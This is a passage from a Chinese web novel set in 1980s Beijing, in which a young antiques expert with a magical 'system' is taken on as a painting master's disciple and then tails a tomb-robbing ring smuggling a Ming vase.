时墨便把在赵磊的老宅里,借着他的名头,说自己是他的徒弟,懂点木器门道,还答应给人画四合院改造图纸的事,一五一十地说了,末了还低着头,一副认错的样子:“是我不该扯您的虎皮,您要是生气,我下次见了人家,就跟人家说清楚。” “嗨,我当是什么天大的事呢!”宋老听完,不但没生气,反而哈哈大笑起来,摆了摆手,“你这丫头,鬼精鬼精的!行,借了就借了,你那点木器、字画的眼力,早就够当我半个徒弟了,提一句怎么了?” 他说着,从兜里掏出老花镜戴上,冲她伸出手:“图纸呢?拿来我看看。” 时墨心里一暖,连忙从包里掏出昨晚画的草图,递了过去:“宋爷爷,您看,这是我给那套四合院画的改造草图,瞎画的,您帮我看看,有没有啥不妥的地方。” 宋老接过草图,戴上老花镜,一页一页地仔细看了起来。 草图虽然线稿,只有寥寥几笔,却处处透着巧思,既完整保留了老北京四合院的规制和韵味,又兼顾了现代居住的实用性,布局合理,细节到位,连光影、动线都考虑到了,一看就是用了心的。 “好啊!好丫头!”宋老越看越惊喜,猛地抬起头,看着时墨,眼里满是藏不住的欣赏,“这布局,这心思,绝了!你这丫头,不仅懂木器、辨字画,连这个都懂?以前正经学过画画?” “没正经拜师学过。”时墨不好意思地笑了笑,“就是平时喜欢瞎画,自己琢磨着玩的,让您见笑了。” “不见笑!一点都不见笑!”宋老把图纸往桌上一放,看着时墨,眼神里满是认真,又带着点期待,“丫头,我问你,你有没有兴趣,正经跟着我老头子,学书画?” 这话一出,店里瞬间安静了下来。 所有人的目光都齐刷刷地落在了时墨身上,满是震惊和羡慕。 谁不知道宋正先宋老是书画界的泰斗,一手山水画画得炉火纯青,多少年都没收过徒弟了,现在竟然主动要收一个十八九岁的小姑娘为徒,还是关门弟子! 就连旁边的孙老、刘老几位,也都愣住了,随即脸上露出了笑意。 “老宋,你这是……动真格的?”孙老放下茶杯,一脸惊讶。 宋老摆了摆手,目光一直落在时墨身上,语气笃定:“这丫头有天赋,有灵气,心性也好。那些图纸,看着简单,但每一笔都透着章法,假以时日,必成大器。我老头子这辈子,能收这么个徒弟,值了。” 时墨瞬间心跳加快。 跟宋老学画? 这可是多少人求都求不来的机会,天上掉馅饼的好事! 她二话不说,拿起桌上的茶壶,倒了一杯温热的茶水,走到宋老面前,扑通一声就跪了下去,双手举着茶杯,恭恭敬敬地行了个三叩首的拜师礼,动作行云流水,一点都不拖泥带水。 “师傅!请受徒儿一拜!” 这一下,直接把满屋子的人都惊呆了,随即爆发出一阵哈哈大笑。 孙老拍着大腿,笑得不行:“你这丫头,动作倒是快!一点都不怯场!我看你是早等着这一天呢吧!” “哎哟喂,这利索劲儿,一看就是有备而来!”刘老也跟着起哄,“老宋,你这徒弟收得值,光这杯拜师茶,就比我们当年拜师的时候痛快多了!” 几位老爷子你一言我一语地调侃起来,屋里笑声一片。 宋老也愣了一下,随即哈哈大笑起来,连忙接过茶杯,喝了一大口,放下杯子,伸手把时墨扶了起来,眼里满是慈爱和欢喜:“好!好!好徒弟!从今天起,你就是我宋正先的关门弟子了!” 时墨心里乐开了花,又规规矩矩地鞠了一躬:“谢谢师傅!徒儿一定好好学,绝不辜负您的期望!” “光叫师傅可不行,得请客!”孙老在旁边起哄,“这么大的喜事,必须让丫头请我们吃大餐!” “对对对!这喜酒我们必须蹭!”陈老也跟着笑。 时墨笑着应下:“请!必须请!等过完年,我请几位老爷子去全聚德吃烤鸭!管够!” 满屋子的人都纷纷上前道喜,店里的气氛热闹到了顶点。时墨站在师傅身边,笑得眉眼弯弯。 就在这时,聚贤斋的门突然被“砰”地一声推开了。 两个穿着中山装的男人快步走了进来,为首的人手里捧着一个紫檀木锦盒,神色焦急,额头上都带着汗。一进门就直奔陈老而来,语气急切得都变了调。 “陈老!您快给掌掌眼!我们店里刚收了件东西,拿不准真假,全京城,也就您老能辨这个真伪了!出了岔子,我们店就完了!” 陈老收起脸上的笑,摆了摆手,沉声道:“别急别急,什么东西,拿过来我看看。” 男人连忙快步走过来,把锦盒小心翼翼地放在桌上,慢慢打开。 里面铺着明黄色的绸缎,绸缎上,躺着一件躺着一件青花瓷器。 那是一件梅瓶,造型挺拔,釉色莹润,画工精细,线条流畅,青花发色浓郁,泛着淡淡的锡光,看着就非同凡响。 时墨的目光落在梅瓶上,心里忽然升起一股异样的感觉。 就在锦盒完全打开的瞬间,系统的声音突然在时墨脑海里疯狂响起,警报似的,带着前所未有的严肃和急促。 【宿主!!!紧急预警!!!】 【这件青花,是刚出土的一级文物!来源不明!恐涉嫌盗墓走私!!!】 【宿主!这件东西沾着人命!千万别碰!!!】 时墨脸上的笑容瞬间凝固。 她抬起头,看向那个捧着锦盒的男人。 第57章 男人看着四十岁上下, 穿着一身半新不旧的中山装,领口蹭着点洗不掉的污渍,袖口磨得起了毛边, 看着像个正经开店的生意人。可他双手死死抠着紫檀锦盒的边缘, 指节绷得发白。 时墨的目光落在他手上, 看见他指甲缝里藏着一丝极淡的、新鲜的黄土痕迹, 不仔细看绝对看不出来。 他身边跟着个二十出头的年轻人,比他还紧张,眼神飘忽不定,时不时就往门口瞟,手一直揣在棉袄口袋里, 像是攥着什么东西, 浑身都绷着,跟只受惊的兔子似的。 【宿主!这人指甲缝里的土是生坑土!跟梅瓶瓶身的土沁成分完全匹配!绝对是刚从墓里挖出来的新土!】系统的声音在脑海里炸响, 带着急促的警报, 【这男的绝对跟盗墓团伙脱不了干系!】 时墨心里警铃大作,后背瞬间窜起一层细密的寒意。 她没法确定眼前这个叫老郑的男人, 是盗墓团伙的同伙, 还是被人威胁利用的白手套, 但有一点她无比确定——这人绝不像他表现出来的那么简单, 这梅瓶的来路, 绝对见不得光。 更奇怪的是,盗墓贼向来贼不走空,绝不可能只倒出这一件梅瓶。更何况这种刚出土的官窑重器, 最稳妥的销赃渠道是鬼市私下交易,他们为什么要冒着被行家识破来路、当场被扣下的风险,大张旗鼓地拿到聚贤斋来求鉴定? 事出反常必有妖。 时墨心里百转千回, 面上却不动声色,甚至悄悄往后退了半步,把自己藏在了孙老身后,降低自己的存在感。 【系统,全程盯着这两个人,他们的一举一动有任何异常,立刻提醒我。】 【宿主放心!小七时刻在线!全程无死角监控!】系统保证得好好的,末了又忍不住补了一句,【不过宿主,这事儿太凶险了,盗墓的都是亡命之徒,您可千万别掺和啊!】 【我心里有数。】 【……希望如此。】 这边,陈老已经戴上了老花镜,从抽屉里拿出放大镜、强光手电筒,还有一块细绒布,动作郑重地把梅瓶从锦盒里取了出来,放在铺了绒布的桌上。 屋内瞬间安静得落针可闻,刚才还说笑的众人全都屏住了呼吸,连大气都不敢喘一口,生怕呼吸重了,惊扰了陈老鉴定。 谁都清楚,能让一个古玩店老板急成这样,专程跑来求陈老掌眼的东西,绝对不是凡品。 陈老先是拿着手电筒,顺着瓶身缓缓移动,细细照遍了每一寸釉色,又用放大镜仔仔细细地看了瓶身的缠枝莲纹饰、瓶口的修胎、底部的款识。他轻轻转动梅瓶,对着光反复查看胎质的疏密,指尖极轻地拂过瓶肩处的土沁,眉头越皱越紧,嘴里时不时发出一声低低的惊叹。 足足过了一刻钟,他才放下手里的工具,摘下老花镜,长长地舒了口气,看向男人的眼神里带着几分复杂。 “你这瓶子,是真品。”他沉声道,“这是明永乐年间的青花缠枝莲纹梅瓶,官窑器,御用之物。” 男人的眼睛瞬间亮得吓人,往前凑了半步,声音都抖了:“陈老!您确定?没看错?” “确定。”陈老指着梅瓶底部的款识,语气笃定,“你看这‘大明永乐年制’六字款,字体规整,笔力遒劲,是标准的官窑款。再看这青花发色,用的是进口苏麻离青,所以才有这种自然晕散的效果和银蓝色的锡光斑,民间仿品,就算仿得了器型,也烧不出这种发色。” 周围的人瞬间炸开了锅,纷纷凑到桌前,伸长了脖子往梅瓶上看,嘴里啧啧称奇。 “乖乖!永乐官窑梅瓶!这可是国宝级的东西啊!” “这辈子能亲眼见一回开门的永乐青花,值了!” “老郑,你这是走了什么大运?这东西哪儿收来的?” 众人的惊叹声此起彼伏,看向梅瓶的眼神里满是震惊、羡慕,还有藏不住的贪婪。唯独时墨,站在人群最后面,脸色越来越沉,指尖紧紧攥着衣角。 她看得清清楚楚,陈老刚才拂过土沁的时候,眉头几不可察地皱了一下,显然也看出了这土沁是新的,只是当着这么多人的面,没点破。 “收的!都是店里收的!”老郑听到最终的鉴定结果,长长地松了口气,脸上的慌乱瞬间褪去大半,只剩下劫后余生的庆幸。他手脚麻利地把梅瓶装回锦盒,扣上搭扣,脸上堆着笑,连连给陈老鞠躬:“多谢陈老!太谢谢您了!改天我一定带厚礼登门道谢!” 他说着,又匆匆跟几位老爷子拱了拱手,脚步飞快地往门口走,身边的年轻人亦步亦趋地跟着,像是多待一秒都会惹上祸事。 时墨心里一急,立刻侧身凑到孙老耳边,用气声飞快地说:“孙爷爷,这东西有问题。” 孙老脸上的笑容瞬间收住,侧头看她。 时墨用只有两人能听见的声音说:“这梅瓶是刚出土的生坑货,土沁还是新的,而且我刚才瞧见这男的指甲缝里有黄土,怕是跟盗墓走私的扯上关系了。” 孙老脸上的笑容瞬间僵住,瞳孔猛地一缩,看向时墨的眼神里满是震惊。 他活了大半辈子,在文玩圈里摸爬滚打了几十年,什么风浪没见过?瞬间就明白了这件事的严重性。 盗墓走私在80年代是顶格的重罪,严打时期是要吃枪子的,更何况这是永乐官窑的国宝,背后牵扯的绝对不是小打小闹的散盗,而是有组织的团伙。 老郑已经抱着锦盒走到了门口,手已经搭上了门帘。 时墨急得不行,一个劲儿地给孙老使眼色,却被孙老死死按住了胳膊。老人家微微摇了摇头,眼神锐利,用只有两人能听见的声音说:“别去!打草惊蛇,就什么都抓不住了!” 时墨瞬间反应过来。 老郑掀开门帘,带着年轻人快步消失在了门外,脚步匆匆,转眼就没了影。 屋里的人还在围着桌子议论,有人羡慕老郑捡了大漏,有人眼热这梅瓶的价值,还有人追着陈老问这梅瓶到底值多少钱。 孙老看着人走了,才松开按着时墨的手,对着屋里其他几位客人拱了拱手,语气客气却带着不容置疑的疏离:“诸位,实在对不住,我们几个老家伙有点私事要处理,今天就不招待了。改日再约,改日再聊。” 众人都是文玩圈里混了多年的人精,一听这话就明白了意思,纷纷收起了话头,起身告辞。 “那孙老、陈老、宋老,你们忙,我们先走了。” “陈老,改天再来跟您请教。” “宋老,您那幅山水轴,回头再给我讲讲啊。” 门帘掀了又落,没一会儿,原本热热闹闹的聚仙斋内堂,就只剩下时墨和三位老爷子。 门一关上,孙老脸上的温和瞬间褪去,脸色沉得像块铁:“墨墨,把你刚才的话,一字不差地再说一遍。你是怎么看出来这土沁是新的?” 时墨深吸一口气,把自己的观察一五一十地说了出来:“孙爷爷,您刚才也看见了,那梅瓶瓶肩的土沁,看着年头久,实则是浮在釉面上的,根本没沁进胎里,是做旧的新土。还有那个老郑,指甲缝藏着细微的黄土。” 她顿了顿,又补了自己的推断:“而且他太紧张了,不像是怕收错了东西打眼,倒像是怕被人盯上。还有他带的那个年轻人,全程手都揣在兜里,眼神一直瞟门口,像是放风的。最重要的是,这种出土的官窑器,没人会光明正大拿到聚贤斋来鉴定,除非……他是被人推出来试水的白手套,真正的货主根本没露面,就是想借着您的名头,给这东西开个‘真品’的身份证明,方便后续销赃。” 宋老听完,眉头皱得死紧,手指敲着桌面:“这个老郑我认识,叫郑保国,在琉璃厂开聚宝阁二十多年了,以前是国营文物店的伙计,老实本分了一辈子,从来没碰过出土的东西,更别说盗墓走私了。他不是那种敢跟亡命之徒掺和到一起的人。” 陈老沉默了一会儿,说:“那梅瓶确实是真的,官窑器,品相完好。如果真是刚出土的……” 他没说完,但所有人都明白他的意思。 盗墓,走私,那可是掉脑袋的大罪。 “不管他是主动掺和,还是被人威胁利诱,这东西的来源都有问题。”时墨语气坚定,“您们想,他要是正经收的传世品,为什么不敢说来路?为什么鉴定完就抱着东西跑?还有,他一个开了二十多年店的老古玩人,就算拿不准永乐青花的真假,难道看不出土沁是新的?他绝对知道这东西不干净,只是不敢说。” 陈老坐在椅子上,脸色铁青,重重地拍了一下桌子,震得桌上的茶杯都响了:“这群无法无天的亡命之徒!竟然敢盗掘古墓,走私国宝!简直是胆大包天!永乐官窑的梅瓶,要是流到国外去,那就是国家永远的损失!” 孙老点了点头,沉声道:“墨墨说得对。这事不管老郑是主谋还是从犯,这梅瓶的来源必须查清楚,背后的团伙必须揪出来,绝不能让国宝流出去。” “怎么查?”陈老问,“现在人都跑没影了。” “我去盯着。”时墨立刻开口,语气没有半分犹豫。 “不行!绝对不行!”孙老想都没想就一口回绝,语气坚决得没有任何商量的余地,“这事太危险了!你一个小姑娘,孤身去盯梢,万一被发现了,后果不堪设想!这事我们来处理,我现在就给文管局、公/安局刑侦队的熟人打电话,让他们出面查,你绝对不能掺和!” “就是啊墨墨!”宋老也连忙劝道,“这事不是小孩子过家家,盗墓的都是手里沾过血、不要命的主儿,个个心狠手辣,凶险得很!你听话,绝对不能去!” “孙爷爷,师傅,我不是冲动。”时墨语速飞快,逻辑清晰地说,“咱们现在什么证据都没有,就凭我观察到的一点土沁,报警也好,找文管局也好,人家根本没法立案,顶多就是找老郑问两句话,打草惊蛇不说,还会让背后的团伙警觉起来,到时候东西一转移,人一跑,咱们再也找不到了!” “我面生,他们根本不认识我,我叫个三轮车,远远跟着不靠近,绝对不会被发现。只要我查到他们的窝点、接头的人,立刻记下来,回来告诉你们。您几位再找人去查,人赃并获,不比在这儿干等着强?” 宋老还是摇头,正要再劝,系统的声音突然在时墨脑海里响了起来: 【叮——触发紧急限时任务:追查盗墓走私团伙,追回流失国宝!】 【任务内容:跟踪可疑人员,锁定文物藏匿地点,获取盗墓走私犯罪证据,协助执法部门追回全部出土文物,阻止国宝外流!】 【任务奖励:能量币10000点!解锁文物鉴定高级权限!名下冻结资产全额解冻!额外奖励便携式防狼电击器1个、京城区胡同详细地图1份!】 【任务风险提示:目标为持械盗墓团伙,危险系数极高,请宿主务必谨慎行事,量力而行!】 时墨的眼睛瞬间亮了。 一万点能量币!冻结资产全额解冻!还有高级鉴定权限!这奖励简直是太丰厚了! 【宿主!您不会真要去吧?!】系统的声音都变了,带着慌意,【这任务太危险了!我只是按规则播报任务,没让您去玩命啊!】 【富贵险中求。】时墨在心里笑了笑,语气却异常坚定,【再说了,有你全程预警,能提前规避危险,我只远远盯着,不往前冲,出不了事。更何况,这是国家的国宝,绝不能让这群亡命之徒走私到国外去。】 【……小七拼了!全程给您最高级别预警!绝对不让您出事!】 “孙爷爷,师傅,这事不能等!”时墨不再犹豫,语气坚定道,“等你们打电话走流程,再等警察出警,黄花菜都凉了!他们现在刚走,说不定马上就要跟团伙的人接头,再晚一步,人就跑了,东西也跟着销赃了,到时候再找就难了!” “我保证,绝不冲动行事,绝不靠近他们,一有情况,立刻给你们打电话报位置!我要是一个时辰没给你们回消息,你们立刻报警!” 几位老爷子还想再劝,时墨却已经打定了主意,转身就往门外跑。 “哎!墨墨!你这孩子!”孙老急得直跺脚,却已经拦不住她了。 门帘一掀,风铃叮铃一声响,时墨的声音从门外飘进来:“您几位赶紧联系人!我记下地址就给你们打电话!” 人已经跑没影了。 几位老爷子面面相觑,又气又急。 “这丫头,胆子也太大了!”宋老急得团团转,抓起桌上的电话就往门外走,“不行,我得跟过去!不能让她一个小姑娘孤身犯险!” “别去了!”孙老一把拉住他,沉声道,“你去了目标太大,反而容易打草惊蛇 !墨墨说得对,现在最要紧的是找人!我现在给刑侦队的老李打电话,他跟我是老交情,一听这事绝对会立刻出警!你给文管局的老王打,让他也带人来!” 时墨跑出聚贤斋,站在路边四处张望。 冷风一吹,人瞬间冷静了下来。街上人来人往,哪里还有老郑的影子? 【系统!人往哪边走了?】 【左转!进了前面的梁家园胡同!他骑了辆二八大杠自行车,往南去了!宿主快!】 时墨顾不上多想,目光飞快扫过路边,正好看见胡同口停着几辆带棚子的人力三轮车,几个车夫正聚在一起抽烟歇脚。 她快步跑过去,拉住一个看着眼明手快、车收拾得干净利落的中年车夫。 “师傅,走不走?” “走!姑娘去哪儿?上车说!”车夫立刻掐了烟,笑着拉开了棚子的布帘。 时墨弯腰钻进棚子,坐稳了,才压低声音道:“师傅,麻烦您帮我追个人,前面梁家园胡同,一个穿中山装的男人,骑辆黑色二八大杠,抱着个木盒子。您帮我远远跟着,别让他发现了,车钱我双倍给您。” 车夫是个四十来岁的汉子,跑了十几年胡同,对南城的条条巷巷门儿清。他上下打量了时墨一眼,嘿嘿一笑:“姑娘,你这是盯梢呢?” 时墨立刻编了个天衣无缝的瞎话,语气带着点委屈和着急,眼眶微微泛红:“师傅,不瞒您说,我哥被一伙倒腾古董的骗子骗了,娶媳妇的钱全给人家了,我爸妈急得卧病在床,就让我跟着看看,他们到底窝在哪儿,回头好报警把钱追回来。” 她保证道:“您放心,绝对不是违法的事,就是远远跟着,绝不连累您!” 老周一听,立刻就懂了,拍着胸脯保证:“嗨!原来是这么回事!这群天杀的骗子!姑娘你放心!我老周在这南城跑了十几年三轮,跟踪人这点本事还是有的!保证离得远远的,绝不让人发现!你就放心包在我身上!” “太谢谢您了师傅!”时墨松了口气。 老周蹬起三轮车,脚下生风,稳稳地拐进了梁家园胡同。 胡同里人不多,老周蹬得不紧不慢,始终隔着百十米的距离,借着路边的菜摊、自行车流遮挡,一点都不显眼。 【宿主!老郑在前面第二个路口右转了!进了醋章胡同!】 【师傅,前面路口右转!】时墨立刻传话。 “好嘞!”老周应了一声,车把一转,稳稳拐进了醋章胡同。 过了大约五六分钟,就看见老郑果然骑着自行车出现了。他骑得不快,一边骑一边回头看,警惕得很。 时墨缩回车棚里,只留一道缝往外看。 老郑骑到胡同中段,在一家杂货铺门口停了下来,杂货铺门口挂着“利民杂货铺”的木牌子。 老郑把自行车锁好,抱着锦盒左右看了两遍,确认没人注意,闪身进了杂货铺。 【就是这儿?】 【对。宿主,铺子后面还有个小门,通另一条胡同。】 时墨连忙让老周在胡同口停下,付了定金,说:“师傅,麻烦您在这儿等我一会儿,我进去看看,半个小时要是没出来,麻烦您报个警,行吗?” 老周看着她,有点不放心:“姑娘,这地方鱼龙混杂的,你一个小姑娘进去不安全,要不我陪你?” “不用了师傅,我就假装买东西,进去看看就出来,人多了反而显眼。”时墨笑了笑,推开车门下了车,把围巾往上拉了拉,遮住半张脸,装作闲逛的样子,慢悠悠地往杂货铺走。 一进门,门上的风铃叮铃响了一声。柜台后面坐着个头发花白的老太太,正低着头纳鞋底,听见动静抬起头,懒洋洋地问:“姑娘,买点什么?” “我随便看看。”时墨随口应着,目光飞快地扫过铺子。 不大的店面,货架上摆满了日用百货、烟酒糖茶、针头线脑,最里面挂着个蓝布门帘,遮住了里屋,黑黢黢的,看不见里面的情况。 时墨走到糖果货架前,背对着里屋的门,借着货架上的玻璃反光,盯着门帘的动静,手里拿起一个印着花鸟的瓷摆件,翻来覆去地看,实则耳朵竖得老高,听着里屋的动静。 “这个多少钱?”她随口问。 老太太瞥了一眼:“那个三块钱,景德镇的正经瓷器。” “三块?太贵了吧?”时墨皱了皱眉,指尖摩挲着摆件上的豁口,“您看这口都磕了,还卖这么贵?” 正说着,门上的风铃又响了一声。 时墨的心跳瞬间漏了一拍,借着玻璃反光往后看——老郑从里屋走了出来,身后还跟着两个人。 走在前面的是个瘦高个,穿着洗得发白的旧棉袄,左眼角到下巴有一道长长的刀疤,眼神阴鸷,走路脚步很轻,一看就不是善茬。 跟在他身后的是个矮胖子,裹着件军大衣,走路左脚有点跛,手里拎着个鼓鼓囊囊的帆布包,手一直揣在兜里,像是攥着什么东西。 三人站在柜台边,压低声音说话。 瘦高个从怀里掏出一个厚厚的牛皮纸信封,递给老郑。老郑接过信封,捏了捏厚度,脸上露出满意的笑容,把怀里的锦盒递了过去。 交易完成了。 时墨的心跳得飞快,面色如常,继续跟老太太砍价,手里的摆件翻来覆去地看,用余光盯着那几个人。 瘦高个接过锦盒,递给身边的矮胖子,又对着老郑低声说了几句,老郑连连点头,揣着信封,转身就出了杂货铺,骑上自行车走了。 瘦高个和矮胖子转身就要回里屋。 【系统!能不能听见里屋的动静?】时墨在心里急问。 【宿主!已开启实时音频转播!里屋对话江同步给您!】 下一秒,里屋压低的对话,清晰地传进了时墨的脑海里。 “虎哥,陈老亲自掌眼了,东西绝对是真的,老外那边肯定满意。”是瘦高个的声音。 被叫做虎哥的,是个粗粝的男声,应该就是刚才没露面的主谋:“那就好。这批货一共几件?都齐了吗?” “齐了虎哥,加上这个梅瓶,这次一共八件,全是明墓里出来的硬货,件件都是官窑。” “价钱谈好了吗?” “谈好了!那个外国佬,一口价五十万!后天晚上十点,津塘沽港码头交接,除了这个梅瓶,还有那十几件瓷器、玉器,到时候一起出手,绝对能有个好价钱。”虎哥的声音里带着贪婪的笑意,“干了这一票,咱们兄弟几个就去香江,开酒楼、买洋房,这辈子吃香的喝辣的,再也不用钻墓里吃土了!” “可是虎哥,”瘦高个的声音带着点犹豫,“这可是掉脑袋的罪啊!万一被警察抓住了,咱们都得吃枪子!还有那个老郑,他会不会嘴不严,把咱们卖了?” “怕个屁!”虎哥骂了一句,“富贵险中求!老郑?他拿了咱们的钱,手里沾了脏,现在想退也晚了!出事了他就是顶缸的白手套,跟咱们有什么关系?等拿到钱,给他分八万,够他娶媳妇买房子了,他闭紧嘴,还能落着好处,敢多嘴,就让他永远开不了口!” 时墨拿着摆件的手猛地一紧,心里惊得翻江倒海。 果然!不止一件!除了八件官窑器!竟然还有十几件! “姑娘,这摆件你到底买不买啊?都看了半天了。”老太太不耐烦地敲了敲柜台,眼神里带着点怀疑,上下打量着时墨。 时墨瞬间回过神,把摆件往柜台上一放,撇了撇嘴:“老太太,您这摆件都磕成这样了,最多两块钱,卖不卖?不卖我就走了,别家也有。” “两块?你这姑娘砍价也太狠了!”老太太瞪了瞪眼,又叹了口气,“行吧行吧,拿走拿走,就当开张了。” 时墨装作不情不愿的样子,慢慢数钱,直到听见里面脚步声往门口走,才掏出两块钱,买下了那个小摆件。 【宿主!他们聊完了!那个虎哥要从后门走了!赶紧撤!】系统立刻提醒。 时墨心里一紧,拿着摆件,装作不满意的样子,慢悠悠地往门口走。 刚走到门口,瘦高个和矮胖从里屋出来,拎着那个帆布包,跟老太太打了个招呼,推门出去了。 时墨侧身让了一下,目光从他们脸上扫过。 瘦高个那道疤,从左眼角一直拉到下巴,触目惊心。矮胖走路有点跛,左脚使不上劲。 【宿主!他们看你了!别慌!自然点!】系统立刻预警。 时墨的心跳瞬间提到了嗓子眼,低着头把摆件塞进兜里,拉开门帘就走了出去,完全就是个买完东西的普通小姑娘。 身后,瘦高个的目光在她背后扫了两眼,没起疑心,跟矮胖子对视了一眼,快步往胡同深处走去。 【系统,他们往哪边走了?】 【左边,第三个胡同口拐进去了。宿主,您得赶紧,不然跟丢了!】 时墨出了杂货铺,快步走到路口,立刻钻进了老周的三轮车里。 “师傅,往前走,左边第三个胡同口拐进去,咱们慢慢骑,别跟太近,别让他们发现。”时墨压低声音提醒着。 “放心吧姑娘!”老周应了一声,蹬起三轮车,不紧不慢地跟了上去。 三轮车一路往西,越走越偏,渐渐出了城,过了护城河,就到了西郊的一片平房区。 这里的胡同纵横交错,又窄又深,还破破烂烂的,墙皮都掉光了,到处都是私搭乱建的小棚子,住的大多是外来务工的人,鱼龙混杂,乱得很。 “姑娘,前面胡同太窄了,三轮车进不去了,再跟就该被发现了。”老周停下了车,回头低声道。 “行,师傅,谢谢您了。”时墨下了车,把剩下的车钱全给了老周,又多塞了两块钱,又再次说道,“师傅,麻烦您在这儿等我半个时辰,我进去看看就回,要是半个小时我没出来,您还帮我报个警。” 老周接过钱,看着黑漆漆的胡同,更不放心:“小姑娘,这地方乱得很,你一个小姑娘进去太危险了,要不咱别去了,直接报警吧?要不然我跟你一起进去。” “没事,叔。我就远远看看,记下门牌号就出来,绝不往里闯。”时墨笑了笑,把围巾拉得更高了点,遮住半张脸,轻手轻脚地往胡同里摸了过去。 胡同里堆满了破烂、煤球和劈柴,脚下坑坑洼洼的,一股霉味混着旱厕的臭味扑面而来。 两边的高墙挡住了仅剩的光线,里面黑黢黢的。 【宿主!左边第二户人家门口有狗!别出声!它没发现你!】系统立刻预警。 时墨瞬间屏住呼吸,贴着墙根,脚步放得极轻,从狗窝旁边绕了过去。那只土狗哼唧了两声,没醒。 她一步步往里走,走到拐角处,探出半个脑袋往前看。 胡同最里面的18号院,两扇破旧的木门关着,刚才那两个男人,正站在门口敲门。 门开了,一个老头子探出头来,左右看了看,侧身让他们进去了,木门“哐当”一声关上,还上了门闩。 时墨心里一松,终于找到了窝点! 时墨默默在心里重复了三遍门牌号,确认记住了,才轻轻往后退了一步,准备转身离开。 就在这时,身后突然传来一声喝问: “谁在那儿?!鬼鬼祟祟的干什么?!” 时墨浑身一僵,后背瞬间惊出了一层冷汗—— 作者有话说:今天写着写着电脑突然卡了,吓死我了,以为快写完的稿子没了,还好有自动保存,我的小心脏。 第58章 手电筒的强光直直打在脸上, 晃得时墨睁不开眼。 那一瞬间,她感觉心脏像要从嗓子眼里蹦出来,血液都冻住了。 她咽了口发紧的唾沫, 缓缓转过身, 指尖死死抠住袖口, 浑身的肌肉都绷着, 做好了最坏的打算。 一个三十来岁的男人站在身后,穿着洗得发白的蓝布棉袄,手里攥着根钢管,正一脸警惕地盯着她,眼神里带莫名的火气。 【宿主别慌!我已调取此人信息!】系统的声音快得像打机关枪, 【张卫国, 32岁,本地住户, 家住槐树胡同16号, 无犯罪记录!近半个月胡同频发盗窃案,他家蜂窝煤被偷了两回, 养的下蛋鸡被摸走了, 邻居家的看门狗也被偷走了!他正在蹲守小偷!跟盗墓团伙半毛钱关系都没有!】 时墨悬到嗓子眼的心瞬间落回了肚子里, 长长地、悄无声息地舒了口气, 脑子转得飞快, 瞬间就编好了天衣无缝的说辞。 她抬手挡了挡刺眼的手电光,脸上立刻挤出委屈又后怕的神情,眼眶瞬间红了, 声音带着点恰到好处的哭腔,看着就是个被吓坏了的小姑娘:“大哥!大哥别照了!我不是坏人!” 张卫国的手电光往下移了移,看清了时墨的样子——干干净净的小姑娘, 穿着体面的新棉袄,长得挺俊,身上没带任何家伙事儿,确实不像偷鸡摸狗的混混。 他语气瞬间缓和了些,但依旧带着狐疑:“那天都擦黑了,你一个姑娘家,鬼鬼祟祟在胡同里猫着干什么?我们这儿最近天天丢东西,我在这儿蹲了三天了!” “大哥,您可算问着了!”时墨往前走了两步,压低声音,声情并茂地诉起苦来,“我哥被一伙骗子骗了钱,娶媳妇的钱全被人家卷走了,我爸妈急得都病倒了,我偷偷跟着他们过来的。刚才看见俩人鬼鬼祟祟进了最里面18号的院子,看着就不像好人,我正偷偷记下来门牌号,就被您这一嗓子喊住了,魂都快吓飞了!” 她顿了顿,像是突然反应过来什么,语气里满是后怕:“大哥,您不说我还不知道,原来这胡同里最近有小偷?我说那俩人看着贼眉鼠眼的,走路都踮着脚,不会就是最近偷东西的贼吧?!” 张卫国一听18号院,眼睛瞬间就瞪圆了,手里的钢管攥得咯吱响。 18号院空了大半年了,就住了个聋老头,平时大门不出二门不迈,最近半个月,他总看见有生人鬼鬼祟祟地进进出出,早就觉得不对劲,只是没抓到实据。 再看时墨这小姑娘,说话条理清楚,眼神坦荡,脸上的后怕不像是装的,瞬间就信了十成十。 “妈的!我就说那院子不对劲!原来是这群兔崽子在这儿窝着!”张卫国咬着牙骂了一句,往前凑了两步,压低声音问,“妹子,你确定看见俩人进了18号?里面还有人?” “肯定有!”时墨斩钉截铁地说。 张卫国一听,扭头就要往胡同里冲:“我这就喊上街坊,把他们堵在里面!” “别啊大哥!”时墨一把拽住他胳膊,力气大得张卫国都愣了一下,“您听我说!我刚才听见他们说话了,里面不止俩个人,还有人在屋里!而且他们看着就不是善茬,手里指不定有家伙!您现在喊人过去,万一打起来,伤了人不说,再让他们跑了,以后再找可就难了!” 张卫国脚步一顿,火气瞬间压下去了些,皱着眉道:“那总不能眼睁睁看着这群兔崽子在这儿窝着吧?他们偷了我们半个胡同的东西,我家那点过冬的蜂窝煤,全给我偷光了!” “您先别急!”时墨压低声音,条理清晰地安排,“您现在喊街坊过去,万一打起来,伤了人不说,他们一慌神跑了,以后再找可就难了!东西也追不回来!” “那你说咋办?”张卫国看着眼前这小姑娘,明明年纪不大,遇事却比他还冷静,下意识就听了她的话。 “大哥,您要是信我,就帮我在这儿悄悄盯着这个院。”时墨语气认真,“您就躲在柴火垛后面,别惊动他们,看他们出不出来,出来几个人,往哪儿走。我现在就出去找公用电话报警,带着警察过来,人赃并获,把他们一窝端了,绝对跑不了一个!” 张卫国本来就恨这群小偷恨得牙痒痒,一听这话,觉得这主意再靠谱不过,立刻点头:“行!妹子,就按你说的来!你放心去报警,我在这儿给你死死盯着,他们就是插翅也难飞!这帮兔崽子,这回非逮着他们不可!” “太谢谢您了大哥!”时墨松了口气,刚要转身跑,又想起什么,回头叮嘱道,“大哥,您可千万记住,就算他们出来了,您也千万别冲动,千万别露面,远远跟着就行,记住他们往哪儿走就成!他们人多,还有家伙,安全第一!” “放心吧妹子!我懂!不打草惊蛇!”张卫国保证完,猫着腰就躲到了旁边的柴火垛后面,只露个脑袋,死死盯着18号院的大门,半点动静都没出。 时墨看着他藏好了,才转身踮着脚,飞快地往胡同口跑。 胡同里黑黢黢的,脚下坑坑洼洼,她跑得上气不接下气,刚拐过弯,迎面就撞上一个黑影,吓得她差点叫出声,手瞬间就攥紧了刚捡起的石头块。 “姑娘!是我!老周!”黑影连忙扶住她,压低声音喊了一句,正是三轮车师傅老周。 时墨看清是他,长长地吐了口气,腿都软了一下:“周师傅,您怎么进来了?” “我瞅着你进去快半个钟头了,一点动静都没有,实在不放心,把车锁在胡同口,进来看看。”老周上下打量她一圈,看她没受伤,才松了口气,又紧张地问,“怎么了姑娘?出啥事了?里面那伙人不对劲?” 